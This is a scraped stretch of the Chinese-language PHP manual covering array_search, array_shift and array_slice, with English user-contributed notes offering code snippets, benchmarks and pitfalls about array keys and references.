str1 = ".array_search("str1", $a).",
str2 = ".array_search("str2", $a).",
str3 = ".array_search("str3", $a).",

str1 strict = ".array_search("str1", $a, true).",
str2 strict = ".array_search("str2", $a, true).",
str3 strict = ".array_search("str3", $a, true);
?>

This will return:
str1 = 0, str2 = 0, str3 = 0, str1 strict = 1, str2 strict = 2, str3 strict = 3
andreas dot damm at maxmachine dot de 03-Apr-2008 04:07
Combining syntax of array_search() and functionality of array_keys() to get all key=>value associations of an array with the given search-value:
<?php
function array_search_values( $m_needle, $a_haystack, $b_strict = false){
    return array_intersect_key( $a_haystack, array_flip( array_keys( $a_haystack, $m_needle, $b_strict)));
}
?>

Usage:
<?php
$array1 = array( 'pre'=>'2', 1, 2, 3, '1', '2', '3', 'post'=>2);
print_r( array_search_values( '2', $array1));
print_r( array_search_values( '2', $array1, true));
print_r( array_search_values( 2, $array1, true));
?>

Will return:
array(4) {
    ["pre"] =>
    string(1) "2"
    [1] =>
    int(2)
    [4] =>
    string(1) "2"
    ["post"] =>
    int(2)
}
array(2) {
    ["pre"] =>
    string(1) "2"
    [4] =>
    string(1) "2"
}
array(2) {
    [1] =>
    int(2)
    ["post"] =>
    int(2)
}
kermes [at] thesevens [dot] net 11-Sep-2007 03:09
A variation of previous searches that returns an array of keys that match the given value:

<?php
function array_ksearch($array, $str)
{
    $result = array();
    for($i = 0; $i < count($array); next($array), $i++)
        if(strtolower(current($array)) == strtolower($str))
            array_push($result, key($array);

    return $result;
}
?>

Usage would be as follows:
<?php
$testArray = array('one' => 'test1', 'two' => 'test2', 'three' => 'test1', 'four' => 'test2', 'five' => 'test1');
    print_r(array_ksearch($testArray, 'test1'));
?>
RichGC 20-Mar-2006 05:54
To expand on previous comments, here are some examples of
where using array_search within an IF statement can go
wrong when you want to use the array key thats returned.

Take the following two arrays you wish to search:

<?php
$fruit_array = array("apple", "pear", "orange");
$fruit_array = array("a" => "apple", "b" => "pear", "c" => "orange");

if ($i = array_search("apple", $fruit_array))
//PROBLEM: the first array returns a key of 0 and IF treats it as FALSE

if (is_numeric($i = array_search("apple", $fruit_array)))
//PROBLEM: works on numeric keys of the first array but fails on the second

if ($i = is_numeric(array_search("apple", $fruit_array)))
//PROBLEM: using the above in the wrong order causes $i to always equal 1

if ($i = array_search("apple", $fruit_array) !== FALSE)
//PROBLEM: explicit with no extra brackets causes $i to always equal 1

if (($i = array_search("apple", $fruit_array)) !== FALSE)
//YES: works on both arrays returning their keys
?>
cue at openxbox dot com 09-Jun-2003 07:50
If you are using the result of array_search in a condition statement, make sure you use the === operator instead of == to test whether or not it found a match.  Otherwise, searching through an array with numeric indicies will result in index 0 always getting evaluated as false/null.  This nuance cost me a lot of time and sanity, so I hope this helps someone.  In case you don't know what I'm talking about, here's an example:

<?php
$code = array("a", "b", "a", "c", "a", "b", "b"); // infamous abacabb mortal kombat code :-P

// this is WRONG
while (($key = array_search("a", $code)) != NULL)
{
 // infinite loop, regardless of the unset
 unset($code[$key]);
}

// this is _RIGHT_
while (($key = array_search("a", $code)) !== NULL)
{
 // loop will terminate
 unset($code[$key]);
}
?>


将数组开头的单元移出数组

  • ? array_search
  • array_slice ?
  • PHP Manual
  • 数组 函数
  • 将数组开头的单元移出数组

array_shift

(PHP 4, PHP 5, PHP 7, PHP 8)

array_shift — 将数组开头的单元移出数组

说明

array_shift(array &$array): mixed

array_shift() 将 array 的第一个单元移出并作为结果返回，将 array 的长度减一并将所有其它单元向前移动一位。所有的数字键名将改为从零开始计数，文字键名将不变。

Note: 使用此函数后会重置（reset()）array 指针。

参数

array

输入的数组。

返回值

返回移出的值，如果 array 为 空或不是一个数组则返回 null。

示例

Example #1 array_shift() 例子

<?php
$stack = array("orange", "banana", "apple", "raspberry");
$fruit = array_shift($stack);
print_r($stack);
?>

以上示例会输出：

Array
(
    [0] => banana
    [1] => apple
    [2] => raspberry
)

并且 orange 被赋给了 $fruit。

参见

  • array_unshift() - 在数组开头插入一个或多个单元
  • array_push() - 将一个或多个单元压入数组的末尾（入栈）
  • array_pop() - 弹出数组最后一个单元（出栈）

User Contributed Notes

malima 31-Aug-2022 08:12
A simple benchmark (PHP 8.1.9 + macOS 12.4)

<?php

ini_set('memory_limit', -1);

$times = 25_000;
$length = 256;
$arr = [];

$random = random_bytes(($times + $length) / 2);
$random = bin2hex($random);

// benchmark array_shift()
for ($i = 0; $i < $times; $i++) {
    $arr[$i] = substr($random, $i, $length);
}

$shiftTimer = -hrtime(true);
for ($i = 0; $i < $times; $i++) {
    $value = array_shift($arr);
}
$shiftTimer += hrtime(true);

// benchmark array_reverse() + array_pop() + array_reverse()
for ($i = 0; $i < $times; $i++) {
    $arr[$i] = substr($random, $i, $length);
}

$reverseTimer = -hrtime(true);
for ($i = 0; $i < $times; $i++) {
    $arr = array_reverse($arr);
    $value = array_pop($arr);
    $arr = array_reverse($arr);
}
$reverseTimer += hrtime(true);

// benchmark array_reverse() + array_pop()
for ($i = 0; $i < $times; $i++) {
    $arr[$i] = substr($random, $i, $length);
}

$popTimer = -hrtime(true);
$arr = array_reverse($arr);
for ($i = 0; $i < $times; $i++) {
    $value = array_pop($arr);
}
$popTimer += hrtime(true);

// benchmark $arr[key()]+ unset(key())
for ($i = 0; $i < $times; $i++) {
    $arr[$i] = substr($random, $i, $length);
}

$keyTimer = -hrtime(true);
reset($arr);
for ($i = 0; $i < $times; $i++) {
    $key = key($arr);
    $val = $arr[$key];
    unset($arr[$key]);
}
$keyTimer += hrtime(true);

print_r([
    'shift' => $shiftTimer / (10 ** 9),
    'reverse' => $reverseTimer / (10 ** 9),
    'pop' => $popTimer / (10 ** 9),
    'key' => $keyTimer / (10 ** 9),
]);

?>

Results interpretation:

On an array of 25,000 unique items, each item a string of 256 byte:

and key() + unset() is very fast.

array_shift() is ~400 times slower

array_reverse() + array_pop() + array_reverse() is ~5,000 times slower.

p.s. I'm implementing a queue, so I need to add another array_reverse() after array_pop() which makes it extremely slow inside a loop. array_reverse() + array_pop() has no use for me, I just added for sake of checking it's performance. It is as fast as key() + unset().
Anonymous 29-Jun-2020 07:05
"$stack" in the example should be called "$queue".
hmztsc at gmail dot com 07-Feb-2020 07:58
// i wanted to remove first array inside to array
// but doesn't work for me : array_shift();

$cargo_file =
Array
(
    [0] => Array
        (
            [0] => Country
            [1] => CountryCode
            [2] => City
            [3] => CityOtherLanguage
            [4] => PostCode
            [5] => Days
        )

    [1] => Array
        (
            [0] => Turkey
            [1] => TR
            [2] => Istanbul
            [3] => Istanbul
            [4] => 34930
            [5] => 9
        )

)

$cargo_file = array_shift($cargo_file);

echo "<pre>";
print_r($cargo_file);
echo "</pre>";

// result after :

/*
Array
(
    [0] => Country
    [1] => CountryCode
    [2] => City
    [3] => CityOtherLanguage
    [4] => PostCode
    [5] => Days
)
*/

i developed a solution

function removeFirstArray($array){

    $new_array = [];
    foreach ($array as $key => $value) {
        if($key > 0){
            $new_array[] = $value;
        }
    }

    return $new_array;
}

$cargo_file= removeFirstArray($cargo_file);

echo "<pre>";
print_r($cargo_file);
echo "</pre>";

Array
(
    [0] => Array
        (
            [0] => Turkey
            [1] => TR
            [2] => Istanbul
            [3] => Istanbul
            [4] => 34930
            [5] => 9
        )

)
wheberson dot com dot br at gmail dot com 26-Sep-2019 01:35
// Ex. 1: signedShiftArray (['A', 'B', 'C', 'D'], 2)        ->        ['C', 'D', 'A', 'B']
// Ex. 2: signedShiftArray (['A', 'B', 'C', 'D'], -3)        ->        ['B', 'C', 'D', 'A']
// Ex. 3: signedShiftArray (['A', 'B', 'C', 'D'], -7)        ->        ['B', 'C', 'D', 'A']

function signedShiftArray ($aItems, $aOffset)

{
    if (empty ($aItems))
        return [];
    else if (empty ($aOffset))
        return $aItems;
    else {
        $t= count ($aItems);
        $n= $aOffset % $t;
        $m= $aOffset > 0 ? $n : $t + $aOffset;
        return array_merge (array_slice ($aItems, $n), array_slice ($aItems, 0, $m));
    }
}
vasiliauskas dot agnius at gmail dot com 07-Mar-2019 08:37
Sometimes instead of shuffling array you just need to rotate it. We can easily rotate left an array with such code:
<?php
$arr[] = array_shift($arr);
?>
biziclop at vipmail dot hu 17-Jan-2018 10:49
<?php

//Be careful when using array_pop/shift/push/unshift with irregularly indexed arrays:

$shifty = $poppy = array(
  2 => '(2)',
  1 => '(1)',
  0 => '(0)',
);                         print_r( $shifty );

array_shift( $shifty );    print_r( $shifty );
//     [0] => (1)
//     [1] => (0)

array_pop( $poppy );       print_r( $poppy );
//     [2] => (2)
//     [1] => (1)

$shifty = $poppy = array(
  'a' => 'A',
  'b' => 'B',
  '(0)',
  '(1)',
  'c' => 'C',
  'd' => 'D',
);                                     print_r( $shifty );

array_shift( $shifty );                print_r( $shifty );
//     [b] => B
//     [0] => (0)
//     [1] => (1)
//     [c] => C
//     [d] => D

array_unshift( $shifty, 'unshifted');  print_r( $shifty );
//     [0] => unshifted
//     [b] => B
//     [1] => (0)
//     [2] => (1)
//     [c] => C
//     [d] => D

array_pop( $poppy );                   print_r( $poppy );
//     [a] => A
//     [b] => B
//     [0] => (0)
//     [1] => (1)
//     [c] => C

array_push( $poppy, 'pushed');         print_r( $poppy );
//     [a] => A
//     [b] => B
//     [0] => (0)
//     [1] => (1)
//     [c] => C
//     [2] => pushed

?>
mah dot di at live dot com 07-Mar-2016 02:35
This removeAdd function, the first argument shift your array then unshif the second argument to your array. first argument is an array and second argument can be int or str.

<?php
function removeAdd ($arr, $newer){
    $a = array_shift($arr);
    $b = array_unshift($arr, $newer);
    foreach ($arr as $value){
        echo $value."<br />";
    }
}

$a = array(1,2,3,4,5,6);
foreach ($a as $current){
    echo $current."<br />";
}
echo "<hr />";
removeAdd($a, 0);
?>

OUTPUT:
1
2
3
4
5
6
_______

0
2
3
4
5
6
michaeljanikk at gmail dot com 14-May-2014 01:26
To remove an element from the MIDDLE of an array (similar to array_shift, only instead of removing the first element, we want to remove an element in the middle, and shift all keys that follow down one position)

Note that this only works on enumerated arrays.

<?php
$array = array('a', 'b', 'c', 'd', 'e', 'e');
/*
array(6) {
  [0]=>
  string(1) "a"
  [1]=>
  string(1) "b"
  [2]=>
  string(1) "c"
  [3]=>
  string(1) "d"
  [4]=>
  string(1) "e"
  [5]=>
  string(1) "e"
}
*/

$indexToRemove = 2;
unset($array[$indexToRemove]);
$array = array_slice($array, 0);

/*
array(5) {
  [0]=>
  string(1) "a"
  [1]=>
  string(1) "b"
  [2]=>
  string(1) "d"
  [3]=>
  string(1) "e"
  [4]=>
  string(1) "e"
}
*/
?>

I hope this helps someone!
drum_inc at yahoo dot com 23-Aug-2013 05:27
Assignment in line, does not remove the element.

$first = array_shift( $arr = array( 0 => '1st', 2 => '2nd', 3 => '3rd') );
print_r( $first );
print_r( $arr );

Output:
1st
Array
(
    [0] => 1st
    [2] => 2nd
    [3] => 3rd
)
elad dot yosifon at gmail dot com 10-Aug-2013 06:47
Notice:
the complexity of array_pop() is O(1).
the complexity of array_shift() is O(n).
array_shift() requires a re-index process on the array, so it has to run over all the elements and index them.
info at chihoang dot de 20-Apr-2011 09:46
This doesn't work with a 2 dimensional array. With 2 dimensional array I do this:

<?php
$backup = $arr;
$first = array_shift ( $backup );
?>
ar at xonix dot ch 14-Aug-2010 03:54
If you need the first or last entry of an array, then this could help you.

<?php
function array_last_entry($arr){
    if(!is_array($arr))
        return;

    if(empty($arr))
        return;

    return end($arr);
}

function array_first_entry($arr){
    if(!is_array($arr))
        return;

    if(empty($arr))
        return;

    reset($arr);
    return current($arr);
}

$arr = array( '5' => 'five', '3' => 'three', '8' => 'eight',);

echo 'last entry: '.array_last_entry($arr).'<br>';

echo 'first entry: '.array_first_entry($arr).'<br>';

echo 'alternative output:<br>';

echo 'last entry: '.$arr[count($arr)-1];

echo '<br>first entry: '.$arr[0];
?>

The output will look like:
last entry: eight
first entry: five
alternative output:
last entry:
first entry:

As you can see, if you have to handle arrays with non-continuous indexes, these functions may be very helpful.
patrick at pwfisher dot com 21-Aug-2009 08:23
Here's a utility function to parse command line arguments.

<?php
/**
 * CommandLine class
 *
 * @package             Framework
 */
/**
 * Command Line Interface (CLI) utility class.
 *
 * @author              Patrick Fisher <patrick@pwfisher.com>
 * @since               August 21, 2009
 * @package             Framework
 * @subpackage          Env
 */
class CommandLine {

    /**
     * PARSE ARGUMENTS
     *
     * [pfisher ~]$ echo "<?php
     * >     include('CommandLine.php');
     * >     \$args = CommandLine::parseArgs(\$_SERVER['argv']);
     * >     echo "\n", '\$out = '; var_dump(\$args); echo "\n";
     * > ?>" > test.php
     *
     * [pfisher ~]$ php test.php plain-arg --foo --bar=baz --funny="spam=eggs" --alsofunny=spam=eggs \
     * > 'plain arg 2' -abc -k=value "plain arg 3" --s="original" --s='overwrite' --s
     *
     * $out = array(12) {
     *   [0]                => string(9) "plain-arg"
     *   ["foo"]            => bool(true)
     *   ["bar"]            => string(3) "baz"
     *   ["funny"]          => string(9) "spam=eggs"
     *   ["alsofunny"]      => string(9) "spam=eggs"
     *   [1]                => string(11) "plain arg 2"
     *   ["a"]              => bool(true)
     *   ["b"]              => bool(true)
     *   ["c"]              => bool(true)
     *   ["k"]              => string(5) "value"
     *   [2]                => string(11) "plain arg 3"
     *   ["s"]              => string(9) "overwrite"
     * }
     *
     * @author              Patrick Fisher <patrick@pwfisher.com>
     * @since               August 21, 2009
     * @see                 http://www.php.net/manual/en/features.commandline.php
     *                      #81042 function arguments($argv) by technorati at gmail dot com, 12-Feb-2008
     *                      #78651 function getArgs($args) by B Crawford, 22-Oct-2007
     * @usage               $args = CommandLine::parseArgs($_SERVER['argv']);
     */
    public static function parseArgs($argv){

        array_shift($argv);
        $out                            = array();

        foreach ($argv as $arg){

            // --foo --bar=baz
            if (substr($arg,0,2) == '--'){
                $eqPos                  = strpos($arg,'=');

                // --foo
                if ($eqPos === false){
                    $key                = substr($arg,2);
                    $value              = isset($out[$key]) ? $out[$key] : true;
                    $out[$key]          = $value;
                }
                // --bar=baz
                else {
                    $key                = substr($arg,2,$eqPos-2);
                    $value              = substr($arg,$eqPos+1);
                    $out[$key]          = $value;
                }
            }
            // -k=value -abc
            else if (substr($arg,0,1) == '-'){

                // -k=value
                if (substr($arg,2,1) == '='){
                    $key                = substr($arg,1,1);
                    $value              = substr($arg,3);
                    $out[$key]          = $value;
                }
                // -abc
                else {
                    $chars              = str_split(substr($arg,1));
                    foreach ($chars as $char){
                        $key            = $char;
                        $value          = isset($out[$key]) ? $out[$key] : true;
                        $out[$key]      = $value;
                    }
                }
            }
            // plain-arg
            else {
                $value                  = $arg;
                $out[]                  = $value;
            }
        }
        return $out;
    }
}
?>
regs at voidship dot net 03-Nov-2008 12:50
Using array_shift over larger array was fairly slow.  It sped up as the array shrank, most likely as it has to reindex a smaller data set.

For my purpose, I used array_reverse, then array_pop, which doesn't need to reindex the array and will preserve keys if you want it to (didn't matter in my case).

Using direct index references, i.e., array_test[$i], was fast, but direct index referencing + unset for destructive operations was about the same speed as array_reverse and array_pop.  It also requires sequential numeric keys.
chris {at} w3style {dot} co {dot} uk 05-Oct-2008 06:06
As pointed out earlier, in PHP4, array_shift() modifies the input array by-reference, but it doesn't return the first element by reference.  This may seem like very unexpected behaviour.  If you're working with a collection of references (in my case XML Nodes) this should do the trick.

<?php

/**
 * This function exhibits the same behaviour is array_shift(), except
 * it returns a reference to the first element of the array instead of a copy.
 *
 * @param array &$array
 * @return mixed
 */
function &array_shift_reference(&$array)
{
  if (count($array) > 0)
  {
    $key = key($array);
    $first =& $array[$key];
  }
  else
  {
    $first = null;
  }
  array_shift($array);
  return $first;
}

class ArrayShiftReferenceTest extends UnitTestCase
{

  function testFunctionRemovesFirstElementOfNumericallyIndexedArray()
  {
    $input = array('foo', 'bar');
    array_shift_reference($input);
    $this->assertEqual(array('bar'), $input, '%s: The array should be shifted one element left');
  }

  function testFunctionRemovesFirstElementOfAssociativeArray()
  {
    $input = array('x' => 'foo', 'y' => 'bar');
    array_shift_reference($input);
    $this->assertEqual(array('y' => 'bar'), $input, '%s: The array should be shifted one element left');
  }

  function testFunctionReturnsReferenceToFirstElementOfNumericallyIndexedArray()
  {
    $foo = 'foo';
    $input = array(&$foo, 'bar');
    $first =& array_shift_reference($input);
    $this->assertReference($foo, $first, '%s: The return value should reference the first array element');
  }

  function testFunctionReturnsReferenceToFirstElementOfAssociativeArray()
  {
    $foo = 'foo';
    $input = array('x' => &$foo, 'y' => 'bar');
    $first =& array_shift_reference($input);
    $this->assertReference($foo, $first, '%s: The return value should reference the first array element');
  }

  function testFunctionReturnsNullIfEmptyArrayPassedAsInput()
  {
    $input = array();
    $first = array_shift_reference($input);
    $this->assertNull($first, '%s: Array has no first element so NULL should be returned');
  }

}

?>
sggoyal at gmail dot com 07-Sep-2008 10:08
// To Change order of Array by Saurabh Goyal
    function change_array_order($table,$order)
    {
       //init the new table
       $new_table = array();
       foreach($order as $colname)
       {
          $new_table[$colname] = $table[$colname];
       }
       return $new_table;
    }

if array value like:-
$row = array('usr_id'=>'23','usr_name'=>'Saurabh', 'usr_surname'=>'Goyal','usr_firstname'=>'Saurabh');

//you want change order & show only particular field
change_array_order($row,array('usr_name','usr_firstname',
                                            'usr_surname'));

Regard's

Saurabh Goyal
http://sggoyal.blogspot.com
nospam at dyce dot losethisbit dot com 02-Jul-2008 05:15
Just a useful version which returns a simple array with the first key and value. Porbably a better way of doing it, but it works for me ;-)

<?php

function array_kshift(&$arr)
{
  list($k) = array_keys($arr);
  $r  = array($k=>$arr[$k]);
  unset($arr[$k]);
  return $r;
}

// test it on a simple associative array
$arr = array('x'=>'ball','y'=>'hat','z'=>'apple');

print_r($arr);
print_r(array_kshift($arr));
print_r($arr);

?>

Output:

Array
(
    [x] => ball
    [y] => hat
    [z] => apple
)
Array
(
    [x] => ball
)
Array
(
    [y] => hat
    [z] => apple
)
Maikel 19-Feb-2008 09:43
In response to nando_f at nothingsimple dot com

The example is correct,  array_shift do an unset to first element  because the parameter is passed by reference
Ben 02-Oct-2007 09:17
baughmankr at appstate dot edu, I think this is more efficient.

<?php
function array_shorten($arr)
{
  list($k) = array_keys($arr);
  unset($arr[$k]);
  return $arr;
}
?>
baughmankr at appstate dot edu 18-Sep-2007 02:04
I needed to remove the first set of keys and values from an associative array.  Had to write this function:

function shortenArray($_arr)
{
    $i=1;
    $_shorter=array();
    foreach ($_arr as $k => $v)
    {
        if ($i != 1)
        {
            $_shorter[$k] = $v;
        }
        $i++;
    }
    return $_shorter;
}
dmhouse at gmail dot com 08-Aug-2007 01:54
If you want a version of array_shift() that works non-destructively (i.e., an easy function to grab the first element of the array without modifying the array), try reset().
Traps 09-Jul-2007 10:52
For those that may be trying to use array_shift() with an array containing references (e.g. working with linked node trees), beware that array_shift() may not work as you expect: it will return a *copy* of the first element of the array, and not the element itself, so your reference will be lost.

The solution is to reference the first element before removing it with array_shift():

<?php

// using only array_shift:
$a = 1;
$array = array(&$a);
$b =& array_shift($array);
$b = 2;
echo "a = $a, b = $b<br>"; // outputs a = 1, b = 2

// solution: referencing the first element first:
$a = 1;
$array = array(&$a);
$b =& $array[0];
array_shift($array);
$b = 2;
echo "a = $a, b = $b<br>"; // outputs a = 2, b = 2

?>
C_Prevost at myob 30-Apr-2007 04:52
no, it demonstrates quite well that it removes the first element in the original array, updating the keys, and that it also returns the original first element.
richard at happymango dot me dot uk 12-Apr-2007 06:09
If you want to loop through an array, removing its values one at a time using array_shift() but also want the key as well, try this.

<?php

while($key = key($array))
{
     $value = array_shift($array);
     //code goes here
}

?>

its like foreach but each time the value is removed from the array so it eventually ends up empty

<?php

//example below

$airports = array
(
    "LGW" => "London Gatwick",
    "LHR" => "London Heathrow",
    "STN" => "London Stanstead"
);

echo count($airports)." Airport in the array<br /><br />";

while($key = key($airports))
{
    $value = array_shift($airports);
    echo $key." is ".$value."<br />";
}

echo "<br />".count($airports)." Airport left in the array";

?>

Example Outputs:

3 Airport in the array

LGW is London Gatwick
LHR is London Heathrow
STN is London Stanstead

0 Airport left in the array
alreece45 at yahoo dot com 09-Aug-2006 08:13
I haven't really read into it, but if you're complaining about a change in PHP 5.0.5 that made it so you couldn't do:

<?php

$val = array_shift(preg_split());

?>

or

<?php

$val = array_shit(function_that_returns_array);

?>

Then you're not using this function correctly. This function's argument is supposed to be a pointer to a variable. It then modifies that variable and returns a value. When you specify a function, php CAN NOT modify the return value of that function. It should be common sense but apparently its not.

Also, on a efficiency note, you might want to consider using another function such as reset or perhaps making your own function such as below:

<?php

function first_element($array) {

return reset($array);

}

?>

Unless of course for some reason you need to save the microseconds this takes.

}
bmr at ediweb dot org 31-May-2006 07:27
If the array has non-numerical keys, array_shift extracts the first element, whichever is the key, and recompute the numerical keys, if there are any. Ie :

$array = array("c" => "ccc", 0 => "aaa", "d" => "ddd", 5 => "bbb");
$first = array_shift($array);
echo '$first = ' . $first . ', $array = ' . var_export($array, true);

will display :

$first = ccc, $array = array ( 0 => 'aaa', 'd' => 'ddd', 1 => 'bbb', )

It means that array_shift works with associative arrays too, and leaves the keys unchanged if they are non-numerical.
19-Sep-2005 07:57
<?php

//----------------------------------------------------------
// The combination of array_shift/array_unshift
// greatly simplified a function I created for
// generating relative paths. Before I found them
// the algorithm was really squirrely, with multiple
// if tests, length calculations, nested loops, etc.
// Great functions.
//----------------------------------------------------------

function create_relative_path($inSourcePath, $inRefPath)
{
    // break strings at slashes
    $s_parts            = explode('/', $inSourcePath);
    $r_parts            = explode('/', $inRefPath);

    // delete items up to the first non-equal part
    while ($s_parts[0] === $r_parts[0])
    {
        array_shift($s_parts);
        array_shift($r_parts);
    }

    // add wild card to r_parts for each remaining
    // item of s_parts
    while ($s_parts[0])
    {
        array_unshift($r_parts, '..');
        array_shift($s_parts);
    }

    return implode('/', $r_parts);
}

//----------------------------------------------------------
// Example:
//     Given a source path $sp generates the relative
//     location of $rp. $sp could be assigned using
//     $_SERVER['PHP_SELF'] but it's hardcoded for
//     the example.
//----------------------------------------------------------
$sp = '/WebServer/Documents/MyBigProject/php/project_script.php';
$rp = '/WebServer/Documents/MyLibraries/lib_script.php';

// plugging them into the function
$rel_path = create_relative_path($sp, $rp);

// yeilds
'../../../MyLibraries/lib_script.php'

// and it could be used like
include_once(create_relative_path($_SERVER['PHP_SELF'], $rp));
lukasz dot dywicki DEL at gmail dot com 27-Jul-2005 05:48
Im using this function to browse arrays from database. For example data:
<?php
$data = array(
      array('row 1-cell 1','row 1-cell 2'),
      array('row 2-cell 1','row 2-cell 2'),
      array('row 3-cell 1','row 3-cell 2'),
);

while($row=array_shift($data)) {
      echo $row[0];
}
?>
Output:
row 1-cell 1
row 2-cell 1
row 3-cell 1
arturo {dot} ronchi {at} gmail {dot} com 20-Apr-2005 06:24
Here is a little function if you would like to get the top element and rotate the array afterwards.

function array_rotate(&$arr)
{
  $elm = array_shift($arr);
  array_push($arr, $elm);
  return $elm;
}
09-Feb-2005 04:27
This function will save the key values of an array, and it will work in lower versions of PHP:

<?php

function array_shift2(&$array){
    reset($array);
    $key = key($array);
    $removed = $array[$key];
    unset($array[$key]);
    return $removed;
}

?>
James McGuigan 14-Dec-2004 11:26
while(array_shift()) can be used to process multiple arrays and/or database results in a single loop. The || short circuts and only evaluates the first statement until it runs out of data.

It can help to reduce duplicated code (the rule is code once and once only).

Note that each ($row = ) statement much be encased in ()'s otherwise you will get funny results. If you use two array_shift($array) statements and forget the ()'s, you will repeatedly get the first element of the first array for the for the count of the $array.

<?php

require_once('class.db.php');

$sql = "SELECT title FROM links";
$result = mysql_query($sql, $db->connection);

$defaults = array(
     array('title' => 'None'),
     array('title' => 'Unknown')
);

while ( ($row = mysql_fetch_assoc($result))
     || ($row = array_shift($defaults)))
{
  echo $row['title'] . "<br>";
}

?>

This will print out (depending on database contents):
Title1
Title2
Title3
...
None
Unknown


从数组中取出一段

  • ? array_shift
  • array_splice ?
  • PHP Manual
  • 数组 函数
  • 从数组中取出一段

array_slice

(PHP 4, PHP 5, PHP 7, PHP 8)

array_slice — 从数组中取出一段

说明

array_slice(
array $array,
int $offset,
?int $length = null,
bool $preserve_keys = false
): array

array_slice() 返回根据 offset 和 length 参数所指定的 array 数组中的一段序列。

参数

array

输入的数组。

offset

如果 offset 非负，则序列将从 array 中的此偏移量开始。

如果 offset 为负，则序列将从 array 中距离末端这么远的地方开始。

Note:

参数 offset 标识的是数组中的位置，而不是键。

length

如果给出了 length 并且为正，则序列中将具有这么多的单元。

如果 array 比 length 要短，只会保留有效的数组单元。

如果给出了 length 并且为负，则序列将终止在距离数组末端这么远的地方。

如果省略，则序列将从 offset 开始一直到 array 的末端。

preserve_keys

Note:

注意 array_slice() 默认会重新排序并重置数组的数字索引。你可以通过将 preserve_keys 设为 true 来改变此行为。 无论本参数如何设置，都会保留字符串的键。

返回值

返回其中一段。 如果 offset 参数大于 array 尺寸，就会返回空的 array。

示例

Example #1 array_slice() 例子

<?php
$input = array("a", "b", "c", "d", "e");

$output = array_slice($input, 2); // 返回 "c"， "d" 和 "e"
$output = array_slice($input, -2, 1); // 返回 "d"
$output = array_slice($input, 0, 3); // 返回 "a"， "b" 和 "c"

// 注意数组中 key 的不同
print_r(array_slice($input, 2, -1));
print_r(array_slice($input, 2, -1, true));
?>

以上示例会输出：

Array
(
    [0] => c
    [1] => d
)
Array
(
    [2] => c
    [3] => d
)

Example #2 array_slice() 于索引从 1 开始的 array

<?php
$input = array(1 => "a", "b", "c", "d", "e");
print_r(array_slice($input, 1, 2));
?>

以上示例会输出：

Array
(
    [0] => b
    [1] => c
)

Example #3 array_slice() 与混合类型键的 array

<?php
$ar = array('a'=>'apple', 'b'=>'banana', '42'=>'pear', 'd'=>'orange');
print_r(array_slice($ar, 0, 3));
print_r(array_slice($ar, 0, 3, true));
?>

以上示例会输出：

Array
(
    [a] => apple
    [b] => banana
    [0] => pear
)
Array
(
    [a] => apple
    [b] => banana
    [42] => pear
)

参见

  • array_splice() - 去掉数组中的某一部分并用其它值取代
  • unset() - 清除指定变量
  • array_chunk() - 将一个数组分割成多个

User Contributed Notes

Benjamin Sonntag 06-Oct-2023 04:17
The documentation doesn't say it, but if LENGTH is ZERO, then the result is an empty array [].
nathan dot fiscaletti at gmail dot com 30-Dec-2017 01:46
If you want an associative version of this you can do the following:

function array_slice_assoc($array,$keys) {
    return array_intersect_key($array,array_flip($keys));
}

However, if you want an inverse associative version of this, just use array_diff_key instead of array_intersect_key.

function array_slice_assoc_inverse($array,$keys) {
    return array_diff_key($array,array_flip($keys));
}

Example:

$arr = [
    'name' => 'Nathan',
    'age' => 20,
    'height' => 6
];

array_slice_assoc($arr, ['name','age']);

will return

Array (
     'name' = 'Nathan',
     'age' = 20
)

Where as

array_slice_assoc_inverse($arr, ['name']);

will return

Array (
    'age' = 20,
    'height' = 6
)
SomeGuy 24-Jun-2016 09:17
Thank to taylorbarstow here the function with the unset feature.
<?php
function array_slice_assoc(&$array,$keys,$unset = true) {
    $return = array_intersect_key($array, array_flip($keys));
    if ($unset) {
        foreach ($keys as $value) {
            unset($array[$value]);
        }
    }
    return $return;
}
?>
kansey 12-Aug-2015 09:32
To save the sort order of a numeric index in the array. Version php =>5.5.26
/*
Example
*/

$arr = array( "1" =>2, "2" =>3 , "3" =>5 );

print_r(array_slice($arr,1,null,true));

/*
Result

Array
(
[2] => 3
[3] => 5
)
*/
Ray.Paseur often uses Gmail 06-Jun-2013 02:44
<?php
// CHOP $num ELEMENTS OFF THE FRONT OF AN ARRAY
// RETURN THE CHOP, SHORTENING THE SUBJECT ARRAY
function array_chop(&$arr, $num)
{
    $ret = array_slice($arr, 0, $num);
    $arr = array_slice($arr, $num);
    return $ret;
}
Nathan - thefiscster510 at gmail dot com 29-Mar-2011 10:38
If you want to remove a specified entry from an array i made this mwethod...

<?php
$array = array("Entry1","entry2","entry3");

$int = 3; //Number of entries in the array
$int2 = 0; //Starter array spot... it will begine its search at 0.
$del_num = 1; //Represents the second entry in the array... which is the one we will happen to remove this time... i.e. 0 = first entry, 1 = second entry, 2 = third...........

$newarray = array(); //Empty array that will be the new array minus the specified entry...
print_r($array) . "<br>";    //print original array contents
print_r($newarray). "<br>"; //print the new empty array

do
{
$user = $array[$int2];
$key = array_search($user, $array);
if ($key == $del_num)
{

}
else
{
$newarray[] = $array[$int2];
}

$int2 = $int2 + 1;
} while ($int2 < $int);

print_r($newarray). "<br>"; //print the new array

?>
delew 11-Feb-2011 01:17
just a little tip.
to preserve keys without providing length: use NULL

array_slice($array, $my_offset, NULL, true);
xananax at yelostudio dot com 02-Feb-2011 07:23
<?php
/**
 * Reorders an array by keys according to a list of values.
 * @param array $array the array to reorder. Passed by reference
 * @param array $list the list to reorder by
 * @param boolean $keepRest if set to FALSE, anything not in the $list array will be removed.
 * @param boolean $prepend if set to TRUE, will prepend the remaining values instead of appending them
 * @author xananax AT yelostudio DOT com
 */
function array_reorder(array &$array,array $list,$keepRest=TRUE,$prepend=FALSE,$preserveKeys=TRUE){
    $temp = array();
    foreach($list as $i){
        if(isset($array[$i])){
            $tempValue = array_slice(
                $array,
                array_search($i,array_keys($array)),
                1,
                $preserveKeys
            );
            $temp[$i] = array_shift($tempValue);
            unset($array[$i]);
        }
    }
    $array = $keepRest ?
        ($prepend?
            $array+$temp
            :$temp+$array
        )
        : $temp;
}

/** exemple ** /
$a = array(
    'a'    =>    'a',
    'b'    =>    'b',
    'c'    =>    'c',
    'd'    =>    'd',
    'e'    =>    'e'
);
$order = array('c','b','a');

array_reorder($a,$order,TRUE);
echo '<pre>';
print_r($a);
echo '</pre>';
/** exemple end **/
?>
jamon at clearsightdesign dot com 10-Apr-2009 05:46
I was trying to find a good way to find the previous several and next several results from an array created in a MySQL query. I found that most MySQL solutions to this problem were complex. Here is a simple function that returns the previous and next rows from the array.

